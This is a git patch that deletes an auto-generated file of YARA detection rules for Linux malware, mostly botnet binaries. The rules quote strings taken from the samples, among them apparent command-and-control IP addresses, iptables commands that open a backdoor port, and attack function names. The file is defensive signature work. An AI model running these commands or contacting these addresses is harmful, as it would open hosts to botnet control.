From 7fd7245df25e6a8d1fa7aeefe112bfe218faf73b Mon Sep 17 00:00:00 2001
From: PYDT <85057800+87owo@users.noreply.github.com>
Date: Thu, 28 Mar 2024 11:55:47 +0800
Subject: [PATCH] Delete Rules/Linux.yar
---
Rules/Linux.yar | 8612 -----------------------------------------------
1 file changed, 8612 deletions(-)
delete mode 100644 Rules/Linux.yar
diff --git a/Rules/Linux.yar b/Rules/Linux.yar
deleted file mode 100644
index 86480cc..0000000
--- a/Rules/Linux.yar
+++ /dev/null
@@ -1,8612 +0,0 @@
-/*
- YARA Rule Set
- Author: yarGen Rule Generator
- Date: 2024-03-27
- Identifier: Linux
- Reference: https://github.com/Neo23x0/yarGen
-*/
-
-/* Rule Set ----------------------------------------------------------------- */
-
-rule Linux_1 {
- meta:
- description = "Linux_1"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "06f2e6504b1953035aabfc8d9782800e77591599e6f36e543a042da1a7dc8dda"
- strings:
- $s1 = "N^NuPOST /cdn-cgi/" fullword ascii
- $s2 = "/BQxHoQxB" fullword ascii
- $s3 = "HoPpHoP" fullword ascii
- $s4 = "gTHo(hN" fullword ascii
- $s5 = ":Ho(ta" fullword ascii
- $s6 = "LHo(xa" fullword ascii
- $s7 = "$NuNuNV" fullword ascii
- $s8 = "&/|JR**" fullword ascii
- $s9 = "$Ho(ha" fullword ascii
- $s10 = "RN^NuNV" fullword ascii
- $s11 = " Ho(ha" fullword ascii
- $s12 = "Hw) (xHx" fullword ascii
- $s13 = "tHo(|a" fullword ascii
- $s14 = "N^NuHx" fullword ascii
- $s15 = "L SHx@" fullword ascii
- $s16 = "b(p7 B" fullword ascii
- $s17 = "N^Nu\"/" fullword ascii
- $s18 = "f|f>\"y" fullword ascii
- $s19 = "( @N^NuNV" fullword ascii
- $s20 = "f|N^NuNV" fullword ascii
-
- $op0 = { 01 48 78 00 18 2f 02 2f 03 61 ff ff ff fb e6 4f }
- $op1 = { ff e2 a8 d8 80 25 44 00 10 0c 6e ff ff ff f4 66 }
- $op2 = { 4e 56 00 00 4a 39 80 01 66 7c 66 3e 22 79 80 01 }
- condition:
- uint16(0) == 0x457f and filesize < 200KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_2 {
- meta:
- description = "Linux_2"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "1778537cf4a5c3bc75db6bd25e274ab0607245f6c0ef70fc7db7b38072377737"
- strings:
- $s1 = "N^NuSNQUERY: 127.0.0.1:AAAAAA:xsvr" fullword ascii
- $s2 = "$NuNuNV" fullword ascii
- $s3 = "b(p7 B" fullword ascii
- $s4 = "N^Nu o" fullword ascii
- $s5 = "N^Nu 9" fullword ascii
- $s6 = "al$BHx" fullword ascii
- $s7 = "9z(H/<" fullword ascii
- $s8 = "N^NuNuO" fullword ascii
-
- $op0 = { 06 48 78 00 01 4e 94 24 48 11 7c 00 05 00 04 20 }
- $op1 = { 01 48 78 00 0d 2f 03 2f 02 4e 92 1f 40 00 59 42 }
- $op2 = { 36 7c 00 01 16 02 49 c3 2c 00 4c 47 60 01 24 41 }
- condition:
- uint16(0) == 0x457f and filesize < 100KB and
- ( all of them and all of ($op*) )
-}
-
-rule Linux_3 {
- meta:
- description = "Linux_3"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "c7e1993166dc1f2650a37a3611d40c4f6ab8372a71135b497709c93341d9bcb6"
- strings:
- $s1 = "$NuNuNV" fullword ascii
- $s2 = "b(p7 B" fullword ascii
- $s3 = "3fnHx@" fullword ascii
- $s4 = "*L,KHx" fullword ascii
- $s5 = "4N^NuNV" fullword ascii
- $s6 = "J~&HHx" fullword ascii
- $s7 = "u2N^NuNV" fullword ascii
- $s8 = " N^NuNV" fullword ascii
- $s9 = "VP$BHx" fullword ascii
- $s10 = "Jp(H/<" fullword ascii
- $s11 = "`:,HHx" fullword ascii
- $s12 = "fJ,HHx" fullword ascii
- $s13 = "]^(H/<" fullword ascii
- $s14 = ":/proc/" fullword ascii
- $s15 = "]l&HHx" fullword ascii
-
- $op0 = { 4e 56 00 00 4a 39 80 00 ea 34 66 3e 22 79 80 00 }
- $op1 = { 01 48 78 00 04 2f 08 48 78 00 03 42 a7 2f 00 61 }
- $op2 = { ff e2 a8 d8 80 25 44 00 10 70 ff b0 af 00 38 66 }
- condition:
- uint16(0) == 0x457f and filesize < 200KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_4 {
- meta:
- description = "Linux_4"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "e19c1f199c04c5d4d0c517efd9e0df5e51bd898edad6062485b7a8b0b240fdbb"
- strings:
- $s1 = "N^NuPOST /cdn-cgi/" fullword ascii
- $s2 = "FTPjGNRGP\"" fullword ascii
- $s3 = "FICMUHDKPJKCF" fullword ascii
- $s4 = "LCOGQGPTGP" fullword ascii
- $s5 = "ANMWFDNCPG" fullword ascii
- $s6 = "PGDPGQJ" fullword ascii
- $s7 = "VPCLQDGP" fullword ascii
- $s8 = "CRRNKACVKML" fullword ascii
- $s9 = "AMLLGAVKML" fullword ascii
- $s10 = "NMACVKML" fullword ascii
- $s11 = "AMLVGLV" fullword ascii
- $s12 = "GLAMFKLE" fullword ascii
- $s13 = "LGVQNKLI" fullword ascii
- $s14 = "FGNGVGF" fullword ascii
- $s15 = "185.196.8.32" fullword ascii
- $s16 = "/BQxHoQxB" fullword ascii
- $s17 = "HoPpHoP" fullword ascii
- $s18 = "gTHo(hN" fullword ascii
- $s19 = "/lib/ld-uClibc.so.0" fullword ascii
- $s20 = "libc.so.0" fullword ascii
-
- $op0 = { ff e2 a8 d8 80 25 44 00 10 0c 6e ff ff ff f4 66 }
- $op1 = { ff 6e 00 1e 34 2f 06 61 ff 00 00 ad 34 58 8f 72 }
- $op2 = { 10 48 6f 51 6c 2f 12 61 ff ff ff f5 4a 24 12 20 }
- condition:
- uint16(0) == 0x457f and filesize < 200KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_5 {
- meta:
- description = "Linux_5"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "219658667afd35e2fe3f3f7876dbcf70fa9d7bfa3a13df745edc665ee70928f7"
- strings:
- $s1 = "DN^NuGET / HTTP/1.1" fullword ascii
- $s2 = "B\\f>\"y" fullword ascii
- $s3 = "pSN@-@" fullword ascii
- $s4 = "3fnHx@" fullword ascii
- $s5 = "/fd/B(" fullword ascii
- $s6 = "d,N^NuNV" fullword ascii
- $s7 = "B\\N^NuNV" fullword ascii
- $s8 = "p&N@-@" fullword ascii
- $s9 = "g|`2B." fullword ascii
- $s10 = "wf(H/<" fullword ascii
- $s11 = "wt&HHx" fullword ascii
- $s12 = "8N^NuNV" fullword ascii
- $s13 = "(N^NuNV" fullword ascii
- $s14 = "0N^NuNuNV" fullword ascii
- $s15 = "fb`$B." fullword ascii
-
- $op0 = { ff e2 a8 d8 80 25 44 00 10 0c 6e ff ff ff f0 66 }
- $op1 = { 80 60 00 fc 34 48 6e ff ba 61 ff 00 00 08 76 24 }
- $op2 = { ff d6 42 ae ff da 60 10 2d 7c 7f ff ff ff ff d6 }
- condition:
- uint16(0) == 0x457f and filesize < 200KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_6 {
- meta:
- description = "Linux_6"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "28519cff83b170a84923d8d02f5f5c13e0531431d38e028bb1c53e549f968307"
- strings:
- $s1 = " __get_myaddress: socket" fullword ascii
- $s2 = "DN^NuSNQUERY: 127.0.0.1:AAAAAA:xsvr" fullword ascii
- $s3 = "g6 7- " fullword ascii
- $s4 = "fFth D " fullword ascii
- $s5 = "0NuNu\"_ <" fullword ascii
- $s6 = "dNqNuNV" fullword ascii
- $s7 = "\\N^NuNV" fullword ascii
- $s8 = "b(p7 B" fullword ascii
- $s9 = "hN^NuNV" fullword ascii
- $s10 = "`N^NuNV" fullword ascii
- $s11 = "N^Nu o" fullword ascii
- $s12 = "N^Nu 9" fullword ascii
- $s13 = "p*N@-@" fullword ascii
- $s14 = "pjN@-@" fullword ascii
- $s15 = "|N^NuNV" fullword ascii
- $s16 = "?8,/0,Hy" fullword ascii
- $s17 = "b\\N^NuNV" fullword ascii
- $s18 = "g:`R ." fullword ascii
- $s19 = "TN^NuNV" fullword ascii
- $s20 = "gj`p n" fullword ascii
-
- $op0 = { ff e2 a8 d8 80 25 44 00 10 0c 6e ff ff ff f4 66 }
- $op1 = { 42 a7 2f 00 61 ff ff ff f6 76 4f ef 00 0c 42 b9 }
- $op2 = { 42 a7 2f 00 61 ff ff ff ed 6a 4f ef 00 0c 20 39 }
- condition:
- uint16(0) == 0x457f and filesize < 500KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_7 {
- meta:
- description = "Linux_7"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "1a9fd5bf5738493cf08b81dd7c81a51b510615e1f4491360fce114eeeb377303"
- strings:
- $s1 = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" fullword ascii
- $s2 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36" fullword ascii
- $s3 = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" fullword ascii
- $s4 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" fullword ascii
- $s5 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0" fullword ascii
- $s6 = "zkjtjaz" fullword ascii
- $s7 = "J/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xI" ascii
- $s8 = "3/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9" ascii
- $s9 = "A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xF" ascii
- $s10 = "D/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x3" ascii
- $s11 = "8/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x9" ascii
- $s12 = ".+|GET" fullword ascii
- $s13 = "]214.194.12.158" fullword ascii
- $s14 = "zltkaz" fullword ascii
- $s15 = "99?*.`z.?\".u2.76v;**639;.354u\"2.76q\"76v;**639;.354u\"76a+gjtcv37;=?u-?8*vpupa+gjtbZ" fullword ascii
- $s16 = ";<;(3uljktmtmZ" fullword ascii
- $s17 = "2(57?uohtjthmnitkklz" fullword ascii
- $s18 = "3.uljktmtmzr" fullword ascii
- $s19 = "2(57?uoktjthmjntkjiz" fullword ascii
- $s20 = "?()354uctkthz" fullword ascii
-
- $op0 = { ff 6e 00 1a 8c 2f 06 61 ff 00 00 34 30 58 8f 72 }
- $op1 = { ff ff bc 62 00 00 ca 70 34 d0 ae ff b8 b0 ae ff }
- $op2 = { ff ff bc 63 00 01 6e 72 34 d2 ae ff b8 20 2e ff }
- condition:
- uint16(0) == 0x457f and filesize < 200KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_8 {
- meta:
- description = "Linux_8"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "1cbfdb421a8aba3f65f0f0767bc2e9e92c34703bc1f4d4174dedd5b60f00d66f"
- strings:
- $s1 = "FICMUHDKPJKCF" fullword ascii
- $s2 = "UCVAJFME" fullword ascii
- $s3 = "FGDCWNV" fullword ascii
- $s4 = "LCOGQGPTGP" fullword ascii
- $s5 = "185.196.10.155" fullword ascii
- $s6 = "LAMPPGAV\"" fullword ascii
- $s7 = "vqMWPAG" fullword ascii
- $s8 = "DMWLF\"" fullword ascii
- $s9 = "NKLWZQJGNN\"" fullword ascii
- $s10 = "sWGP[\"" fullword ascii
- $s11 = "GLVGP\"" fullword ascii
- $s12 = "UCVAJFME\"" fullword ascii
- $s13 = "AOFNKLG\"" fullword ascii
- $s14 = "CQQUMPF\"" fullword ascii
- $s15 = "JCICK\"" fullword ascii
- $s16 = "NMACN\"" fullword ascii
- $s17 = "QVCPV\"" fullword ascii
- $s18 = "}UCVAJFME\"" fullword ascii
- $s19 = "GFHICK\"" fullword ascii
- $s20 = "QVCVWQ\"" fullword ascii
-
- $op0 = { 40 48 78 00 04 2f 02 2f 03 4e 92 1f 40 00 4e 48 }
- $op1 = { 01 48 78 00 05 2f 03 2f 02 4e 92 1f 40 00 4b 2f }
- $op2 = { 01 48 78 00 0d 2f 03 2f 02 4e 92 1f 40 00 59 42 }
- condition:
- uint16(0) == 0x457f and filesize < 200KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_9 {
- meta:
- description = "Linux_9"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "5f6fb37ce34ca77a1682f03ff8543a7ae0bbbc9028cce834938daaa0ccd7eba7"
- strings:
- $s1 = "/bin/busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT" fullword ascii
- $s2 = "/usr/bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT" fullword ascii
- $s3 = "[modules/system.c] Process (pid=%d path=%s) is malicious" fullword ascii
- $s4 = "bindtoip" fullword ascii
- $s5 = "0bad auth_len gid %d str %d auth %d" fullword ascii
- $s6 = "/proc/%s/fd/" fullword ascii
- $s7 = "Failed to register signal handler for SIGINT" fullword ascii
- $s8 = "/usr/local/sbin/" fullword ascii
- $s9 = "/usr/local/bin/" fullword ascii
- $s10 = "87.246.7.194" fullword ascii
- $s11 = "g6 7- " fullword ascii
- $s12 = "0NuNu\"_ <" fullword ascii
- $s13 = "dNqNuNV" fullword ascii
- $s14 = "RebirthLTD" fullword ascii
- $s15 = "XONuYOH" fullword ascii
- $s16 = "NuNq\"o" fullword ascii
- $s17 = "\\N^NuNV" fullword ascii
- $s18 = "hN^NuNV" fullword ascii
- $s19 = "B@HAH@" fullword ascii
- $s20 = "`N^NuNV" fullword ascii
-
- $op0 = { ff d6 42 ae ff da 60 10 2d 7c 7f ff ff ff ff d6 }
- $op1 = { 42 a7 2f 00 61 ff ff ff f6 76 4f ef 00 0c 42 b9 }
- $op2 = { 42 a7 2f 00 61 ff ff ff ed 6a 4f ef 00 0c 20 39 }
- condition:
- uint16(0) == 0x457f and filesize < 500KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_10 {
- meta:
- description = "Linux_10"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "7662d17abbed34e67c8e2f70258bb1242b53484442ed9b43acb87e638639181d"
- strings:
- $s1 = "/bin/busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT" fullword ascii
- $s2 = "/usr/bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT" fullword ascii
- $s3 = "#h__get_myaddress: socket" fullword ascii
- $s4 = "bindtoip" fullword ascii
- $s5 = "g6 7- " fullword ascii
- $s6 = "0NuNu\"_ <" fullword ascii
- $s7 = "dNqNuNV" fullword ascii
- $s8 = "RebirthLTD" fullword ascii
- $s9 = "XONuYOH" fullword ascii
- $s10 = "NuNq\"o" fullword ascii
- $s11 = "\\N^NuNV" fullword ascii
- $s12 = "hN^NuNV" fullword ascii
- $s13 = "B@HAH@" fullword ascii
- $s14 = "`N^NuNV" fullword ascii
- $s15 = "N^Nu o" fullword ascii
- $s16 = "pSN@-@" fullword ascii
- $s17 = "p&N@-@" fullword ascii
- $s18 = "g|`2B." fullword ascii
- $s19 = "8N^NuNV" fullword ascii
- $s20 = "(N^NuNV" fullword ascii
-
- $op0 = { ff d6 42 ae ff da 60 10 2d 7c 7f ff ff ff ff d6 }
- $op1 = { 42 a7 2f 00 61 ff ff ff f6 76 4f ef 00 0c 42 b9 }
- $op2 = { 42 a7 2f 00 61 ff ff ff ed 6a 4f ef 00 0c 20 39 }
- condition:
- uint16(0) == 0x457f and filesize < 500KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_11 {
- meta:
- description = "Linux_11"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "a308729f523a3f45d489042da4f2dbdc979f70150bc23b752ad1168ce794c6af"
- strings:
- $s1 = "/bin/busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT" fullword ascii
- $s2 = "/usr/bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT" fullword ascii
- $s3 = "[modules/system.c] Process (pid=%d path=%s) is malicious" fullword ascii
- $s4 = "bindtoip" fullword ascii
- $s5 = " bad auth_len gid %d str %d auth %d" fullword ascii
- $s6 = "/proc/%s/fd/" fullword ascii
- $s7 = "Failed to register signal handler for SIGINT" fullword ascii
- $s8 = "/usr/local/sbin/" fullword ascii
- $s9 = "/usr/local/bin/" fullword ascii
- $s10 = "87.246.7.194" fullword ascii
- $s11 = "g6 7- " fullword ascii
- $s12 = "0NuNu\"_ <" fullword ascii
- $s13 = "dNqNuNV" fullword ascii
- $s14 = "RebirthLTD" fullword ascii
- $s15 = "XONuYOH" fullword ascii
- $s16 = "NuNq\"o" fullword ascii
- $s17 = "XONuNuNV" fullword ascii
- $s18 = "\\N^NuNV" fullword ascii
- $s19 = "hN^NuNV" fullword ascii
- $s20 = "B@HAH@" fullword ascii
-
- $op0 = { ff d6 42 ae ff da 60 10 2d 7c 7f ff ff ff ff d6 }
- $op1 = { 42 a7 2f 00 61 ff ff ff f6 76 4f ef 00 0c 42 b9 }
- $op2 = { 42 a7 2f 00 61 ff ff ff ed 6a 4f ef 00 0c 20 39 }
- condition:
- uint16(0) == 0x457f and filesize < 500KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_12 {
- meta:
- description = "Linux_12"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "bb3a86c39c0dd7cac51dc7dfe6a6006cbee0a33e1e5632b1777837a59b2f0512"
- strings:
- $s1 = "(Killer) >> KILLING PID: (%s)" fullword ascii
- $s2 = "g6 7- " fullword ascii
- $s3 = "b(p7 B" fullword ascii
- $s4 = "(N^NuNV" fullword ascii
- $s5 = "NuNqNV" fullword ascii
- $s6 = "$_&_NuO" fullword ascii
- $s7 = "WD&HHx" fullword ascii
- $s8 = "$_&_NuNV" fullword ascii
- $s9 = "4N^NuNV" fullword ascii
- $s10 = "VN^NuNV" fullword ascii
- $s11 = "N^Nu/proc/" fullword ascii
- $s12 = "Tl&HHx" fullword ascii
- $s13 = "W6(H/<" fullword ascii
- $s14 = "T^(H/<" fullword ascii
-
- $op0 = { ff e2 a8 d8 80 25 44 00 10 0c 6e ff ff ff f4 66 }
- $op1 = { 4e 56 00 00 4a 39 80 00 de 34 66 3e 22 79 80 00 }
- $op2 = { 06 4e 93 24 08 48 78 00 06 48 79 80 00 af 34 2f }
- condition:
- uint16(0) == 0x457f and filesize < 100KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_13 {
- meta:
- description = "Linux_13"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "24f457794242e6c0cf54ad90feb0e3e5c997556d12d3a06ca5ab44dc60258e31"
- strings:
- $s1 = "N^NuSNQUERY: 127.0.0.1:AAAAAA:xsvr" fullword ascii
- $s2 = "g6 7- " fullword ascii
- $s3 = "0NuNu\"_ <" fullword ascii
- $s4 = "dNqNuNV" fullword ascii
- $s5 = "lvrvup9w0zwi6nuqf0kilumln8ox5vgv" fullword ascii
- $s6 = "\\N^NuNV" fullword ascii
- $s7 = "b(p7 B" fullword ascii
- $s8 = "hN^NuNV" fullword ascii
- $s9 = "`N^NuNV" fullword ascii
- $s10 = "N^Nu o" fullword ascii
- $s11 = "N^Nu 9" fullword ascii
- $s12 = "g|`2B." fullword ascii
- $s13 = "8N^NuNV" fullword ascii
- $s14 = "(N^NuNV" fullword ascii
- $s15 = "0N^NuNuNV" fullword ascii
- $s16 = "fb`$B." fullword ascii
- $s17 = "p*N@-@" fullword ascii
- $s18 = "pjN@-@" fullword ascii
- $s19 = "|N^NuNV" fullword ascii
- $s20 = "g:`R ." fullword ascii
-
- $op0 = { ff d6 42 ae ff da 60 10 2d 7c 7f ff ff ff ff d6 }
- $op1 = { 42 a7 2f 00 61 ff ff ff f6 76 4f ef 00 0c 42 b9 }
- $op2 = { 42 a7 2f 00 61 ff ff ff ed 6a 4f ef 00 0c 20 39 }
- condition:
- uint16(0) == 0x457f and filesize < 500KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_14 {
- meta:
- description = "Linux_14"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "475487bf7b96fe3da321dac0b5f59231651fc3d71f86bf9580bfa77e59b0f2c8"
- strings:
- $s1 = "r bad auth_len gid %d str %d auth %d" fullword ascii
- $s2 = "condi2 %s:%d" fullword ascii
- $s3 = "N^NuSNQUERY: 127.0.0.1:AAAAAA:xsvr" fullword ascii
- $s4 = "netstat" fullword ascii
- $s5 = "bot.ppc" fullword ascii
- $s6 = "bot.arm" fullword ascii
- $s7 = "g6 7- " fullword ascii
- $s8 = "0NuNu\"_ <" fullword ascii
- $s9 = "dNqNuNV" fullword ascii
- $s10 = "bot.arm5" fullword ascii
- $s11 = "bot.mips" fullword ascii
- $s12 = "@KZYA\\EL@" fullword ascii
- $s13 = "bot.arm7" fullword ascii
- $s14 = "bot.arm6" fullword ascii
- $s15 = "bot.mpsl" fullword ascii
- $s16 = "\\N^NuNV" fullword ascii
- $s17 = "b(p7 B" fullword ascii
- $s18 = "hN^NuNV" fullword ascii
- $s19 = "`N^NuNV" fullword ascii
- $s20 = ",N^NuNV" fullword ascii
-
- $op0 = { ff e2 a8 d8 80 25 44 00 10 0c 6e ff ff ff f4 66 }
- $op1 = { 42 a7 2f 00 61 ff ff ff f6 76 4f ef 00 0c 42 b9 }
- $op2 = { 42 a7 2f 00 61 ff ff ff ed 6a 4f ef 00 0c 20 39 }
- condition:
- uint16(0) == 0x457f and filesize < 400KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_15 {
- meta:
- description = "Linux_15"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "0f4889491376010d2b777602c988009fc31298e0d5b85b554bdc1c113d6c3171"
- strings:
- $s1 = "__pthread_mutex_unlock_usercnt" fullword ascii
- $s2 = "pthread_mutex_trylock.c" fullword ascii
- $s3 = "pthread_mutex_unlock.c" fullword ascii
- $s4 = "pthread_mutex_lock.c" fullword ascii
- $s5 = "__pthread_mutex_lock_full" fullword ascii
- $s6 = "__pthread_mutex_unlock_full" fullword ascii
- $s7 = "__pthread_mutex_lock_internal" fullword ascii
- $s8 = "pthread_mutex_init.c" fullword ascii
- $s9 = "__pthread_mutex_unlock_internal" fullword ascii
- $s10 = "update_process" fullword ascii
- $s11 = "attack_tcp_bypass" fullword ascii
- $s12 = "hexPayload" fullword ascii
- $s13 = "__make_stacks_executable" fullword ascii
- $s14 = "read_encoded_value_with_base" fullword ascii
- $s15 = "read_encoded_value" fullword ascii
- $s16 = "pthread_getspecific.c" fullword ascii
- $s17 = "/home/landley/aboriginal/aboriginal/build/temp-armv7l/gcc-core/gcc/unwind-c.c" fullword ascii
- $s18 = "/home/landley/aboriginal/aboriginal/build/temp-armv7l/gcc-core/gcc" fullword ascii
- $s19 = "/home/landley/aboriginal/aboriginal/build/temp-armv7l/gcc-core/gcc/config/arm/ieee754-df.S" fullword ascii
- $s20 = "_thread_db___pthread_keys" fullword ascii
-
- $op0 = { ef 34 00 00 ea 20 c0 9d e5 18 30 9c e5 00 00 53 }
- $op1 = { ef 00 30 a0 e3 56 f4 ff eb 03 20 a0 e1 18 34 00 }
- $op2 = { 80 ff ff ff ff 00 00 b0 0d 03 00 ff 7f }
- condition:
- uint16(0) == 0x457f and filesize < 600KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_16 {
- meta:
- description = "Linux_16"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "595a436719c2ac7c441a77af3173629eb7ddfb0e304a27e09dbd19c1a6b4e741"
- strings:
- $s1 = "__pthread_mutex_unlock_usercnt" fullword ascii
- $s2 = "pthread_mutex_trylock.c" fullword ascii
- $s3 = "pthread_mutex_unlock.c" fullword ascii
- $s4 = "pthread_mutex_lock.c" fullword ascii
- $s5 = "__pthread_mutex_lock_full" fullword ascii
- $s6 = "__pthread_mutex_unlock_full" fullword ascii
- $s7 = "__pthread_mutex_lock_internal" fullword ascii
- $s8 = "pthread_mutex_init.c" fullword ascii
- $s9 = "__pthread_mutex_unlock_internal" fullword ascii
- $s10 = "update_process" fullword ascii
- $s11 = "/home/landley/aboriginal/aboriginal/build/temp-armv6l/gcc-core/gcc/config/arm/lib1funcs.asm" fullword ascii
- $s12 = "/home/landley/aboriginal/aboriginal/build/temp-armv6l/gcc-core/gcc/config/arm/pr-support.c" fullword ascii
- $s13 = "__make_stacks_executable" fullword ascii
- $s14 = "read_encoded_value_with_base" fullword ascii
- $s15 = "read_encoded_value" fullword ascii
- $s16 = "pthread_getspecific.c" fullword ascii
- $s17 = "/home/landley/aboriginal/aboriginal/build/temp-armv6l/gcc-core/gcc/config/arm/libunwind.S" fullword ascii
- $s18 = "/home/landley/aboriginal/aboriginal/build/temp-armv6l/build-gcc/gcc" fullword ascii
- $s19 = "/home/landley/aboriginal/aboriginal/build/temp-armv6l/gcc-core/gcc/config/arm" fullword ascii
- $s20 = "/home/landley/aboriginal/aboriginal/build/temp-armv6l/gcc-core/gcc/config/arm/unwind-arm.c" fullword ascii
-
- $op0 = { ef 34 00 00 ea 20 c0 9d e5 18 30 9c e5 00 00 53 }
- $op1 = { 80 ff ff ff ff 00 00 b0 0d 03 00 ff 7f }
- $op2 = { ef 00 30 a0 e3 3f f4 ff eb 03 20 a0 e1 18 34 00 }
- condition:
- uint16(0) == 0x457f and filesize < 600KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_17 {
- meta:
- description = "Linux_17"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "d50015a8716a82a9def5c2e4ff5ac8e8ca3fb7729c2656aec5b52deb87b1d94e"
- strings:
- $s1 = "__pthread_mutex_unlock_usercnt" fullword ascii
- $s2 = "pthread_mutex_trylock.c" fullword ascii
- $s3 = "pthread_mutex_unlock.c" fullword ascii
- $s4 = "pthread_mutex_lock.c" fullword ascii
- $s5 = "__pthread_mutex_lock_full" fullword ascii
- $s6 = "__pthread_mutex_unlock_full" fullword ascii
- $s7 = "__pthread_mutex_lock_internal" fullword ascii
- $s8 = "pthread_mutex_init.c" fullword ascii
- $s9 = "__pthread_mutex_unlock_internal" fullword ascii
- $s10 = "update_process" fullword ascii
- $s11 = "__make_stacks_executable" fullword ascii
- $s12 = "read_encoded_value_with_base" fullword ascii
- $s13 = "read_encoded_value" fullword ascii
- $s14 = "pthread_getspecific.c" fullword ascii
- $s15 = "/home/landley/aboriginal/aboriginal/build/temp-armv7l/gcc-core/gcc/unwind-c.c" fullword ascii
- $s16 = "/home/landley/aboriginal/aboriginal/build/temp-armv7l/gcc-core/gcc" fullword ascii
- $s17 = "/home/landley/aboriginal/aboriginal/build/temp-armv7l/gcc-core/gcc/config/arm/ieee754-df.S" fullword ascii
- $s18 = "_thread_db___pthread_keys" fullword ascii
- $s19 = "_thread_db_pthread_key_data_seq" fullword ascii
- $s20 = "_thread_db_pthread_key_struct_destr" fullword ascii
-
- $op0 = { ef 34 00 00 ea 20 c0 9d e5 18 30 9c e5 00 00 53 }
- $op1 = { 80 ff ff ff ff 00 00 b0 0d 03 00 ff 7f }
- $op2 = { ef 00 30 a0 e3 3f f4 ff eb 03 20 a0 e1 18 34 00 }
- condition:
